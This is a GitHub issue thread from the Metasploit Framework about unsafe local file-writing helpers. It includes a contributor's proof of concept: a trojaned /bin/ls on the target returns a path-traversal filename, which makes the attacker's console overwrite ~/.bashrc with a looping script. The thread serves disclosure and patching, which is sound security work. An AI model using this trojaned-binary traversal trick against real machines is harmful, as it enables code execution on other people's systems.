rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.49k stars 13.84k forks source link

Review `file_local_*` methods in `Msf::Post::File` #10076

Closed bcoles closed 3 years ago

bcoles commented 6 years ago

Msf::Post::File API (lib/msf/core/post/file.rb) makes use of several file_local_* methods for read and write to the local filesystem for the host on which Metasploit is running.

The methods do not belong in a Post lib. Fortunately, using these methods is not common practice.


file_local_* methods definitions:

root@kali:/pentest/exploit/metasploit-framework# grep "def file_local" lib/msf/core/post/file.rb 
  def file_local_write(local_file_name, data)
  def file_local_digestmd5(local_file_name)
  def file_local_digestsha1(local_file_name)
  def file_local_digestsha2(local_file_name)

Usage within the framework:

root@kali:/pentest/exploit/metasploit-framework# grep -rn file_local_ lib/
lib/msf/core/post/file.rb:167:  def file_local_write(local_file_name, data)
lib/msf/core/post/file.rb:184:  def file_local_digestmd5(local_file_name)
lib/msf/core/post/file.rb:215:  def file_local_digestsha1(local_file_name)
lib/msf/core/post/file.rb:246:  def file_local_digestsha2(local_file_name)
root@kali:/pentest/exploit/metasploit-framework# grep -rn file_local_ modules/
modules/exploits/osx/local/dyld_print_to_file_root.rb:29:        ['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/']
modules/exploits/windows/local/registry_persistence.rb:151:    file_local_write(clean_rc, @clean_up_rc)
modules/exploits/windows/local/persistence.rb:146:    file_local_write(clean_rc, @clean_up_rc)
modules/exploits/windows/local/vss_persistence.rb:190:    file_local_write(clean_rc, @clean_up)
modules/exploits/windows/local/wmi_persistence.rb:232:    file_local_write(clean_rc, clean_up_rc)
modules/post/multi/gather/firefox_creds.rb:151:      file_local_write(tmp, omnija)
modules/post/osx/gather/enum_osx.rb:183:          file_local_write(log_folder+"//#{name}.txt",returned_data)
modules/post/osx/gather/enum_osx.rb:188:            file_local_write(log_folder+"//#{name}.txt",returned_data)
modules/post/osx/gather/enum_osx.rb:202:          file_local_write(log_folder+"//#{name}.txt",command_output)
modules/post/osx/gather/enum_osx.rb:206:          file_local_write(log_folder+"//#{name}.txt",command_output)
modules/post/osx/gather/enum_osx.rb:241:        file_local_write(log_folder+"//#{name}.txt", command_output)
modules/post/osx/gather/enum_osx.rb:248:        file_local_write(log_folder + "//#{name}.txt", command_output)
modules/post/osx/gather/enum_osx.rb:275:            file_local_write(log_folder+"//#{name}",ssh_file_content)
modules/post/osx/gather/enum_osx.rb:289:            file_local_write(log_folder+"//#{name}", gpg_file_content)
modules/post/osx/gather/enum_osx.rb:316:              file_local_write(log_folder+"//#{name}",ssh_file_content)
modules/post/osx/gather/enum_osx.rb:333:              file_local_write(log_folder+"//#{name}",ssh_file_content)
modules/post/osx/gather/enum_osx.rb:353:            file_local_write(log_folder + "//screenshot_#{pid}.jpg",
modules/post/osx/gather/enum_osx.rb:362:          file_local_write(log_folder+"//screenshot.jpg",
modules/post/osx/gather/enum_osx.rb:400:          file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file)
modules/post/osx/gather/enum_osx.rb:416:            file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file)
modules/post/osx/gather/enum_osx.rb:430:          file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file)
modules/post/osx/gather/enum_osx.rb:458:          file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file)
modules/post/osx/gather/enum_osx.rb:470:        file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file)
modules/post/windows/capture/lockout_keylogger.rb:109:        file_local_write(logfile,"#{outp}\n")
modules/post/windows/capture/lockout_keylogger.rb:200:    file_local_write(logfile,"#{client.info}\n")
modules/post/windows/capture/keylog_recorder.rb:93:    file_local_write(@logfile,"\nKeylog Recorder #{event} at #{Time.now.to_s}\n\n")
modules/post/windows/capture/keylog_recorder.rb:246:      file_local_write(@logfile,"#{output}\n")
modules/post/windows/gather/smart_hashdump.rb:420:            file_local_write(pwdfile,inject_hashdump)
modules/post/windows/gather/smart_hashdump.rb:426:              file_local_write(pwdfile,inject_hashdump)
modules/post/windows/gather/smart_hashdump.rb:435:          file_local_write(pwdfile,read_hashdump)
modules/post/windows/gather/smart_hashdump.rb:444:            file_local_write(pwdfile,inject_hashdump)
modules/post/windows/gather/smart_hashdump.rb:457:                file_local_write(pwdfile,inject_hashdump)
modules/post/windows/gather/smart_hashdump.rb:472:              file_local_write(pwdfile,read_hashdump)
modules/post/windows/gather/smart_hashdump.rb:487:              file_local_write(pwdfile,read_hashdump)
modules/post/windows/gather/smart_hashdump.rb:492:            file_local_write(pwdfile,inject_hashdump)
modules/post/windows/manage/enable_rdp.rb:83:        file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
modules/post/windows/manage/enable_rdp.rb:102:        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
modules/post/windows/manage/enable_rdp.rb:106:        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
modules/post/windows/manage/enable_rdp.rb:113:      file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
modules/post/windows/manage/enable_rdp.rb:151:        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
modules/post/windows/manage/enable_rdp.rb:158:        file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
modules/post/windows/manage/persistence_exe.rb:74:    file_local_write(clean_rc, @clean_up_rc)

It appears the overwhelming majority of usage is to write log files and store loot with file_local_write, defined as follows:

  #
  # Writes a given string to a given local file
  #
  # @param local_file_name [String]
  # @param data [String]
  # @return [void]
  def file_local_write(local_file_name, data)
    unless ::File.exist?(local_file_name)
      ::FileUtils.touch(local_file_name)
    end

    output = ::File.open(local_file_name, "a")
    data.each_line do |d|
      output.puts(d)
    end
    output.close
  end

This method appends arbitrary data to an arbitrary file path and performs no input validation. Use of file_local_write should be discouraged where possible to prevent potential directory traversal attacks from a system with modified system binaries or a malicious Meterpreter client intended to exploit this behavior.

The remaining three methods relate to generating MD5, SHA1 and SHA2 hashes of local files. These methods do not appear to be used anywhere within the framework. These methods should be defined elsewhere. This functionality can be easily achieved with File.open and Rex.

busterb commented 6 years ago

Agree, these should all be removed from the tree.

Auxilus commented 6 years ago

I think file_local_* and file_remote_* methods for generating hashes can be reworked as a single method taking filename, remote|local, hash_type

Auxilus commented 6 years ago

maybe in /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/post/common.rb?

bcoles commented 6 years ago

Methods for hashing local files do not belong in a Post API.

I'm not convinced we even need a wrapper to read from file for the purposes of hashing. To support my assertion, I submit the fact these methods are used exactly zero times in the framework.

Reading a file is easy, and we do this without a wrapper frequently:

root@kali:/pentest/exploit/metasploit-framework# grep -rn File.read modules/ | wc -l
93
root@kali:/pentest/exploit/metasploit-framework# grep -rn File.open modules/ | wc -l
269

Similarly, hashing data is easy. SHA1 and MD5 hashing methods already exist in Rex. (Rex::Text.sha1, Rex::Text.md5).

It would make more sense to add a Rex::Text.sha2 method to Rex then remove the file_local_* hashing methods from the Post lib entirely. If we really need a wrapper to hash a local file (why?) then it should be implemented elsewhere in lib/.

That said, I'm not really concerned about leaving these hashing methods to rot. I'm more concerned with reviewing file_local_write, which presents a security risk through unsafe usage, and should be replaced where possible.

bcoles commented 6 years ago

In addition to the instances of local_file_write in lib/ and modules/ mentioned above, it turns out this method is also used extensively in scripts/.

# grep -rn file_local_write scripts/
scripts/meterpreter/getgui.rb:53:      file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
scripts/meterpreter/getgui.rb:72:      file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
scripts/meterpreter/getgui.rb:74:      file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
scripts/meterpreter/getgui.rb:82:    file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
scripts/meterpreter/getgui.rb:101:      file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
scripts/meterpreter/getgui.rb:105:      file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
scripts/meterpreter/remotewinenum.rb:184:        file_local_write(dest,headerbuid(session,trg,dest))
scripts/meterpreter/remotewinenum.rb:185:        file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))
scripts/meterpreter/enum_firefox.rb:83:        file_local_write(bookmarks,"\t#{b.to_s}\n")
scripts/meterpreter/enum_firefox.rb:102:        file_local_write(download_list,"\t#{d.to_s} \n")
scripts/meterpreter/enum_firefox.rb:121:        file_local_write(url_history,"\t#{s.to_s}\n")
scripts/meterpreter/enum_firefox.rb:140:      file_local_write(form_history,formvals)
scripts/meterpreter/enum_firefox.rb:158:      file_local_write(search_history,searches)
scripts/meterpreter/enum_firefox.rb:227:  file_local_write(logfile,frfxdmp(usrnm))
scripts/meterpreter/arp_scanner.rb:85:  file_local_write(dest,found_ip)
scripts/meterpreter/get_filezilla_creds.rb:166:          file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file))
scripts/meterpreter/keylogrecorder.rb:148:    file_local_write(logfile,"#{outp}\n")
scripts/meterpreter/keylogrecorder.rb:157:    file_local_write(logfile,"")
scripts/meterpreter/event_manager.rb:148:    file_local_write(log_file,csv_data)
scripts/meterpreter/winenum.rb:179:  file_local_write("#{@logfol}/programs_list.csv",proglist)
scripts/meterpreter/winenum.rb:249:            file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout)
scripts/meterpreter/winenum.rb:344:  file_local_write(flname,hash)
scripts/meterpreter/winenum.rb:386:  file_local_write("#{@logfol}/tokens.txt",dt)
scripts/meterpreter/winenum.rb:405:      file_local_write(@dest,"Cleared the #{evl} Event Log")
scripts/meterpreter/winenum.rb:427:      file_local_write(@dest,"Changed MACE of #{filetostomp}")
scripts/meterpreter/winenum.rb:468:      file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive")
scripts/meterpreter/winenum.rb:594:file_local_write(@dest,header)
scripts/meterpreter/winenum.rb:595:file_local_write(@dest,chkvm())
scripts/meterpreter/winenum.rb:626:    file_local_write(@dest,"UAC is Enabled")
scripts/meterpreter/winenum.rb:628:    file_local_write(@dest,"UAC is Disabled")
scripts/meterpreter/persistence.rb:136:  file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
scripts/meterpreter/persistence.rb:177:    file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
scripts/meterpreter/persistence.rb:191:    file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
scripts/meterpreter/process_memdump.rb:113:      file_local_write(dumpfile,mbi.inspect) if toggle
scripts/meterpreter/process_memdump.rb:114:      file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))
scripts/meterpreter/get_pidgin_creds.rb:197:        file_local_write(dest,extract_creds(pidgin_path))
scripts/meterpreter/get_pidgin_creds.rb:200:        file_local_write(dest,extract_buddies(pidgin_path))
scripts/meterpreter/gettelnet.rb:66:      file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"")
scripts/meterpreter/gettelnet.rb:71:    file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"")
scripts/meterpreter/gettelnet.rb:105:    file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
scripts/meterpreter/domain_list_gen.rb:97:  file_local_write(dest, "#{domain}\\#{u}")
scripts/meterpreter/file_collector.rb:64:          file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
scripts/meterpreter/winbf.rb:106:            file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
bcoles commented 5 years ago

Perhaps a PoC will help move things along.

The get_crypto_keys method in the enum_osx module would have ended poorly.

I say "would have" because the code is broken and the functionality does not work.

Metasploit users were saved from unsafe code... by poorly written code.

If the functionality worked as it was intended, it would write to an arbitrary file with arbitrary content. Directory traversal would be possible, as there's no validation for .. sequence, resulting in code execution.

Currently, the method fails, as name is undefined, causing Metasploit to try to write arbitrary data to a directory, rather than a file, resulting in failure. As a result, Metasploit is not vulnerable (in this specific instance) in its current state.


The get_crypto_keys method is defined as follows:

  def get_crypto_keys(log_folder)
    # Run commands according to the session type
    if session.type =~ /shell/

      # Enumerate and retreave files according to privilege level
      if not is_root?

        # Enumerate the home folder content
        home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")

        # Check for SSH folder and extract keys if found
        if home_folder_list.include?("\.ssh")
          print_status(".ssh Folder is present")
          ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").split(", ")
          ssh_folder.each do |k|
            next if k =~/^\.$|^\.\.$/
            print_status("\tDownloading #{k.strip}")
            ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")

            # Save data lo log folder
            file_local_write(log_folder+"//#{name}",ssh_file_content)
          end
        end

        # Check for GPG and extract keys if found
        if home_folder_list.include?("\.gnupg")
          print_status(".gnupg Folder is present")
          gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").split(", ")
          gnugpg_folder.each do |k|
            next if k =~/^\.$|^\.\.$/
            print_status("\tDownloading #{k.strip}")
            gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")

            # Save data lo log folder
            file_local_write(log_folder+"//#{name}", gpg_file_content)
          end
        end
      else
        users = []
        users_folder = cmd_exec("/bin/ls","/Users")
        users_folder.each_line do |u|
          next if u.chomp =~ /Shared|\.localized/
          users << u.chomp
        end

        users.each do |u|
          user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
          if user_folder.include?("\.ssh")
            print_status(".ssh Folder is present for #{u}")
            ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(", ")
            ssh_folder.each do |k|
              next if k =~/^\.$|^\.\.$/
              print_status("\tDownloading #{k.strip}")
              ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")

              # Save data lo log folder
              file_local_write(log_folder+"//#{name}",ssh_file_content)
            end
          end
        end

        users.each do |u|
          user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
          if user_folder.include?("\.ssh")
            print_status(".gnupg Folder is present for #{u}")
            ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(", ")
            ssh_folder.each do |k|
              next if k =~/^\.$|^\.\.$/
              print_status("\tDownloading #{k.strip}")
              ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")

              # Save data lo log folder
              file_local_write(log_folder+"//#{name}",ssh_file_content)
            end
          end
        end
      end
    end
  end

Running the module correctly identifies files in the ~/.ssh/ directory, however the files are not downloaded, as name is not defined.

msf5 post(osx/gather/enum_osx) > run

[*] Running module against qqs-MacBook.local
[*] Saving all data to /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0259
[*]     Enumerating OS
[*]     Enumerating Network
[*]     Enumerating Bluetooth
[*]     Enumerating Ethernet
[*]     Enumerating Printers
[*]     Enumerating USB
[*]     Enumerating Airport
[*]     Enumerating Firewall
[*]     Enumerating Known Networks
[*]     Enumerating Applications
[*]     Enumerating Development Tools
[*]     Enumerating Frameworks
[*]     Enumerating Logs
[*]     Enumerating Preference Panes
[*]     Enumerating StartUp
[*]     Enumerating TCP Connections
[*]     Enumerating UDP Connections
[*]     Enumerating Environment Variables
[*]     Enumerating Last Boottime
[*]     Enumerating Current Activity
[*]     Enumerating Process List
[*]     Enumerating Users
[*]     Enumerating Groups
[*] .ssh Folder is present
[*]     Downloading trollololol
[*] Capturing screenshot
[*] Screenshot Captured
[*] Extracting history files
[*]     History file .bash_history found for qq
[*]     Downloading .bash_history
[*]     History file .sh_history found for qq
[*]     Downloading .sh_history
[*] Enumerating and Downloading keychains for qq
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0259
[*] exec: ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0259

Airport.txt
Applications.txt
Bluetooth.txt
Current Activity.txt
Development Tools.txt
Environment Variables.txt
Ethernet.txt
Firewall.txt
Frameworks.txt
Groups.txt
Known Networks.txt
Last Boottime.txt
Logs.txt
Network.txt
OS.txt
OS X Gather Mac OS X System Information Enumeration
Preference Panes.txt
Printers.txt
Process List.txt
qq_.bash_history.txt
qq__line_556__usr_bin_security__No_such_file_or_directory
qq_.sh_history.txt
screenshot.jpg
StartUp.txt
TCP Connections.txt
UDP Connections.txt
USB.txt
Users.txt
msf5 post(osx/gather/enum_osx) >

Note that the ~/.ssh/trollololol file was not saved.

Let's "patch" the module (ie, introduce the vulnerability) as it was intended:

diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb
index 50e0ad2..88cde81 100644
--- a/modules/post/osx/gather/enum_osx.rb
+++ b/modules/post/osx/gather/enum_osx.rb
@@ -213,7 +213,7 @@ class MetasploitModule < Msf::Post
             ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")

             # Save data lo log folder
-            file_local_write(log_folder+"//#{name}",ssh_file_content)
+            file_local_write(log_folder+"//#{k}",ssh_file_content)
           end
         end

And rexploit:

msf5 post(osx/gather/enum_osx) > rexploit 
[*] Reloading module...

[*] Running module against qqs-MacBook.local
[*] Saving all data to /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0357
[*]     Enumerating OS
[*]     Enumerating Network
[*]     Enumerating Bluetooth
[*]     Enumerating Ethernet
[*]     Enumerating Printers
[*]     Enumerating USB
[*]     Enumerating Airport
[*]     Enumerating Firewall
[*]     Enumerating Known Networks
[*]     Enumerating Applications
[*]     Enumerating Development Tools
[*]     Enumerating Frameworks
[*]     Enumerating Logs
[*]     Enumerating Preference Panes
[*]     Enumerating StartUp
[*]     Enumerating TCP Connections
[*]     Enumerating UDP Connections
[*]     Enumerating Environment Variables
[*]     Enumerating Last Boottime
[*]     Enumerating Current Activity
[*]     Enumerating Process List
[*]     Enumerating Users
[*]     Enumerating Groups
[*] .ssh Folder is present
[*]     Downloading trollololol
[*] Capturing screenshot
[*] Screenshot Captured
[*] Extracting history files
[*]     History file .bash_history found for qq
[*]     Downloading .bash_history
[*]     History file .sh_history found for qq
[*]     Downloading .sh_history
[*] Enumerating and Downloading keychains for qq
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0357
[*] exec: ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0357

Airport.txt
Applications.txt
Bluetooth.txt
Current Activity.txt
Development Tools.txt
Environment Variables.txt
Ethernet.txt
Firewall.txt
Frameworks.txt
Groups.txt
Known Networks.txt
Last Boottime.txt
Logs.txt
Network.txt
OS.txt
Preference Panes.txt
Printers.txt
Process List.txt
qq_.bash_history.txt
qq__line_646__usr_bin_security__No_such_file_or_directory
qq_.sh_history.txt
screenshot.jpg
StartUp.txt
TCP Connections.txt
trollololol
UDP Connections.txt
USB.txt
Users.txt
msf5 post(osx/gather/enum_osx) >

Note that the functionality is no longer broken and the trollololol file now exists.

Now let's make some modifications on the target host, and run the module again:

msf5 post(osx/gather/enum_osx) > run

[*] Running module against qqs-MacBook.local
[*] Saving all data to /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0732
[*]     Enumerating OS
[*]     Enumerating Network
[*]     Enumerating Bluetooth
[*]     Enumerating Ethernet
[*]     Enumerating Printers
[*]     Enumerating USB
[*]     Enumerating Airport
[*]     Enumerating Firewall
[*]     Enumerating Known Networks
[*]     Enumerating Applications
[*]     Enumerating Development Tools
[*]     Enumerating Frameworks
[*]     Enumerating Logs
[*]     Enumerating Preference Panes
[*]     Enumerating StartUp
[*]     Enumerating TCP Connections
[*]     Enumerating UDP Connections
[*]     Enumerating Environment Variables
[*]     Enumerating Last Boottime
[*]     Enumerating Current Activity
[*]     Enumerating Process List
[*]     Enumerating Users
[*]     Enumerating Groups
[*] .ssh Folder is present
[*]     Downloading ../../../../../.bashrc
[*] Capturing screenshot
[*] Screenshot Captured
[*] Extracting history files
[*]     History file .bash_history found for qq
[*]     Downloading .bash_history
[*]     History file .sh_history found for qq
[*]     Downloading .sh_history
[*] Enumerating and Downloading keychains for qq
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > cat ~/.bashrc
[*] exec: cat ~/.bashrc

#!/bin/sh
while true; do
  echo 'pwned'
  sleep 5
done
msf5 post(osx/gather/enum_osx) > 

Here's the relevant modifications on the target:

msf5 post(osx/gather/enum_osx) > sessions -i 1 
[*] Starting interaction with 1...

# our new ls file:    
cat /bin/ls
#!/bin/sh

if [[ "${@}" =~ "/.ssh" ]]; then
  echo "../../../../../.bashrc"
  exit
fi

/bin/ls.backup "${@}"

# contents of .bashrc:
cat /.bashrc
#!/bin/sh
while true; do
  echo 'pwned'
  sleep 5
done

# gg
^C
Abort session 1? [y/N]  y
""

[*] 10.1.1.132 - Command shell session 1 closed.  Reason: User exit
msf5 post(osx/gather/enum_osx) > 

Both bugs (the undefined name variable and the vulnerbaility-waiting-to-happen) have existed in the framework since the Metasploit 3 SVN repository.

wvu commented 5 years ago

Wholeheartedly agree that local file operations do not belong in a post-exploitation API focused on remote targeting. Remove what we can and refactor the rest. The directory traversal is lulzy. Nice work.

bcoles commented 3 years ago

20 months later... still no interesting in reviewing these methods.

here's an exploit: #14008 here's a patch: #14007

cdelafuente-r7 commented 3 years ago

Closing this issue since it has been fixed now.